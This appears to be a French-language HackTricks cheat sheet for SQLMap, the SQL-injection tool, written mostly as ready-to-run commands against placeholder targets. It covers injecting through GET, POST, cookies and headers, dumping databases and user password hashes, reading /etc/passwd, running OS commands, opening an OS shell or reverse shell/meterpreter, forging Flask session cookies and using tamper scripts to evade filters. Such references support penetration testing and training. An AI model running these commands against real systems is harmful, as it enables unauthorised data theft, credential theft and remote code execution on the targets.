SQLMap - Cheatsheet

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Arguments de base pour SQLmap

Générique

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Drapeaux de technique (--technique)

L'option --technique vous permet de restreindre ou de réorganiser les techniques d'injection SQL que sqlmap testera. Chaque lettre correspond à une classe différente de charges utiles :

LettreTechniqueDescription
BBoolean-based blindUtilise des conditions vrai/faux dans la réponse de la page pour inférer des résultats
EError-basedTire parti des messages d'erreur DBMS détaillés pour extraire des données
UUNION queryInjecte des instructions UNION SELECT pour récupérer des données via le même canal
SStacked queriesAjoute des instructions supplémentaires séparées par un délimiteur SQL (;)
TTime-based blindS'appuie sur des délais SLEEP/WAITFOR pour détecter des conditions injectables
QInline / out-of-bandUtilise des fonctions telles que LOAD_FILE() ou l'exfiltration DNS pour extraire des données

L'ordre par défaut que sqlmap suivra est BEUSTQ (toutes les techniques). Vous pouvez changer à la fois l'ordre et le sous-ensemble. Par exemple, la commande suivante tentera uniquement les techniques UNION query et Time-based blind, en essayant d'abord UNION :

bash
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch

Récupérer des informations

Interne

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Données de la base de données

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

En utilisant SQLMapping, c'est un outil pratique qui génère des commandes et fournit un aperçu complet, à la fois basique et avancé, pour SQLMap. Il inclut des ToolTips qui expliquent chaque aspect de l'outil, détaillant chaque option afin que vous puissiez améliorer et comprendre comment l'utiliser de manière efficace et efficiente.

Lieu d'injection

À partir de la capture Burp/ZAP

Capturez la requête et créez un fichier req.txt.

bash
sqlmap -r req.txt --current-user

Injection de requête GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indiquer une chaîne lorsque l'injection est réussie

bash
--string="string_showed_when_TRUE"

Ajouter une technique de détection

Si vous avez trouvé un SQLi mais que sqlmap ne l'a pas détecté, vous pouvez forcer la technique de détection avec des arguments comme --prefix ou --suffix, ou si c'est plus complexe, en l'ajoutant aux payloads utilisés par sqlmap dans /usr/share/sqlmap/data/xml/payloads/time_blind.xml par exemple pour le time blind basé.

Eval

Sqlmap permet l'utilisation de -e ou --eval pour traiter chaque payload avant de l'envoyer avec un certain oneliner python. Cela rend très facile et rapide le traitement de manière personnalisée du payload avant de l'envoyer. Dans l'exemple suivant, la session de cookie flask est signée par flask avec le secret connu avant de l'envoyer :

bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lire le fichier

bash
--file-read=/etc/passwd

Explorer un site web avec SQLmap et auto-exploitation

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection de deuxième ordre

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lisez ce post sur la façon d'effectuer des injections de seconde ordre simples et complexes avec sqlmap.

Personnalisation de l'injection

Définir un suffixe

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver l'injection booléenne

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

N'oubliez pas que vous pouvez créer votre propre tamper en python et c'est très simple. Vous pouvez trouver un exemple de tamper sur la page d'injection de deuxième ordre ici.

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyRemplace le caractère apostrophe par son équivalent en largeur complète UTF-8
apostrophenullencode.pyRemplace le caractère apostrophe par son équivalent unicode double illégal
appendnullbyte.pyAjoute un caractère NULL encodé à la fin de la charge utile
base64encode.pyEncode en Base64 tous les caractères d'une charge utile donnée
between.pyRemplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #'
bluecoat.pyRemplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.pyDouble url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés)
commalesslimit.pyRemplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.pyRemplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.pyRemplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyUrl-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés)
charunicodeencode.pyUnicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022"
charunicodeescape.pyUnicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022"
equaltolike.pyRemplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE'
escapequotes.pyÉchappe les guillemets (' et ")
greatest.pyRemplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST'
halfversionedmorekeywords.pyAjoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.pyRemplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyEnveloppe la requête complète avec un commentaire versionné
modsecurityzeroversioned.pyEnveloppe la requête complète avec un commentaire à zéro version
multiplespaces.pyAjoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.pyRemplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres
percentage.pyAjoute un signe de pourcentage ('%') devant chaque caractère
overlongutf8.pyConvertit tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés)
randomcase.pyRemplace chaque caractère de mot-clé par une valeur de casse aléatoire
randomcomments.pyAjoute des commentaires aléatoires aux mots-clés SQL
securesphere.pyAjoute une chaîne spécialement conçue
sp_password.pyAjoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS
space2comment.pyRemplace le caractère espace (' ') par des commentaires
space2dash.pyRemplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2hash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2morehash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n')
space2mssqlblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mssqlhash.pyRemplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n')
space2mysqlblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mysqldash.pyRemplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n')
space2plus.pyRemplace le caractère espace (' ') par un plus ('+')
space2randomblank.pyRemplace le caractère espace (' ') par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
symboliclogical.pyRemplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et
unionalltounion.pyRemplace UNION ALL SELECT par UNION SELECT
unmagicquotes.pyRemplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne)
uppercase.pyRemplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT'
varnish.pyAjoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.pyEnveloppe chaque mot-clé non fonction par un commentaire MySQL versionné
versionedmorekeywords.pyEnveloppe chaque mot-clé par un commentaire MySQL versionné
xforwardedfor.pyAjoute un faux en-tête HTTP 'X-Forwarded-For'

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks